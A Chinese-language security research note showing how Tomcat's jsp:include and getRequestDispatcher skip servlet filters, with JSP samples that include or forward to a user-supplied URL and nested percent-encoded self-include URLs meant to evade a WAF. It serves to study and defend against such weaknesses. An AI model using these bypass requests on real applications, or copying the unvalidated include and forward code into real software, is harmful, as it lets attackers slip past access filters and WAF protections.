绕过filter

在tomcat等其他框架中,动态的include page是可以绕过filter的
我们设置一个filter如下

public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
    // 比如,我们可以统一设置网页编码
    if (servletRequest.getParameter("data") != null){
        return;
    }

    // 这一步很重要
    // 把设置好的内容传入下一个过滤器(因为可能有多个过滤器)
    filterChain.doFilter(servletRequest,servletResponse);
}

过滤data参数

设置一个include 页面如下

<%
    String url = request.getParameter("url");
%>
<jsp:include page="<%=url%>">
    <jsp:param name="url" value="asd"/>
    <jsp:param name="hello" value="Hello Action Element"/>
</jsp:include>

设置test.jsp如下

<%@ page import="java.nio.charset.StandardCharsets" %><%

        String data = request.getParameter("data");
        byte [] cmd = org.apache.tomcat.util.codec.binary.Base64.decodeBase64(data);
        out.println(new String(cmd));
%>

我们访问
http://127.0.0.1:8080/include.jsp?url=/test.jsp?data=1Y2FsYw==
3781315E829A4CC69C0C99C2BDDA314B.png
可见第一次是进入了fileter

但是在包含test.jsp的时候,却没有第二次进入filter。

我们看到调用include的时候,使用的是

RequestDispatcher rd = request.getRequestDispatcher(resourcePath);

DE1ED29D04EC495AB2A624DE7A4D8FD6.png
所以如果在jsp中使用了这种方法也是可以绕过filter的

如下:
设置一个dispather.jsp如下

<%
    String url = request.getParameter("url");
    request.getRequestDispatcher(url).forward(request,response);
%>

访问
http://127.0.0.1:8080/dispatcher.jsp?url=/test.jsp?data=1Y2FsYw==
0E6A05D549D54160B70B410D7B9BD2E7.png
我们知道equest.getRequestDispatcher(“url")
可以访问的不仅仅是jsp文件,还有存在的一些其他路由,比如structs,spring,如果这些路由的限制是在filter当中,是可以被绕过的。

绕waf

我们看看page是否能自我包含
我们访问
http://127.0.0.1:8080/include.jsp?url=/include.jsp%25%33%66url=/test.jsp%25%33%66data=1Y2FsYw==

调用栈如下:

decodeBase64:676, Base64 (org.apache.tomcat.util.codec.binary)
_jspService:4, test_jsp (org.apache.jsp)
service:70, HttpJspBase (org.apache.jasper.runtime)
service:742, HttpServlet (javax.servlet.http)
service:443, JspServletWrapper (org.apache.jasper.servlet)
serviceJspFile:407, JspServlet (org.apache.jasper.servlet)
service:351, JspServlet (org.apache.jasper.servlet)
service:742, HttpServlet (javax.servlet.http)
internalDoFilter:231, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core) [4]
invoke:728, ApplicationDispatcher (org.apache.catalina.core)
doInclude:591, ApplicationDispatcher (org.apache.catalina.core)
include:527, ApplicationDispatcher (org.apache.catalina.core)
include:892, JspRuntimeLibrary (org.apache.jasper.runtime)
_jspService:4, include_jsp (org.apache.jsp)
service:70, HttpJspBase (org.apache.jasper.runtime)
service:742, HttpServlet (javax.servlet.http)
service:443, JspServletWrapper (org.apache.jasper.servlet)
serviceJspFile:407, JspServlet (org.apache.jasper.servlet)
service:351, JspServlet (org.apache.jasper.servlet)
service:742, HttpServlet (javax.servlet.http)
internalDoFilter:231, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core) [3]
invoke:728, ApplicationDispatcher (org.apache.catalina.core)
doInclude:591, ApplicationDispatcher (org.apache.catalina.core)
include:527, ApplicationDispatcher (org.apache.catalina.core)
include:892, JspRuntimeLibrary (org.apache.jasper.runtime)
_jspService:4, include_jsp (org.apache.jsp)
service:70, HttpJspBase (org.apache.jasper.runtime)
service:742, HttpServlet (javax.servlet.http)
service:443, JspServletWrapper (org.apache.jasper.servlet)
serviceJspFile:407, JspServlet (org.apache.jasper.servlet)
service:351, JspServlet (org.apache.jasper.servlet)
service:742, HttpServlet (javax.servlet.http)

可以看到是完全可以自我包含的,而且此时包含的时候参数是可以来一层url加密,多次套娃之后达到多次url编码的作用从而绕过waf。
internalDoFilter:231, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core) [2]
doFilter:20, testFilter (org.apache.filter)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core) [1]
invoke:199, StandardWrapperValve (org.apache.catalina.core)
invoke:96, StandardContextValve (org.apache.catalina.core)
invoke:493, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:140, StandardHostValve (org.apache.catalina.core)
invoke:81, ErrorReportValve (org.apache.catalina.valves)
invoke:650, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:87, StandardEngineValve (org.apache.catalina.core)
service:342, CoyoteAdapter (org.apache.catalina.connector)
service:800, Http11Processor (org.apache.coyote.http11)
process:66, AbstractProcessorLight (org.apache.coyote)
process:800, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1471, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:748, Thread (java.lang)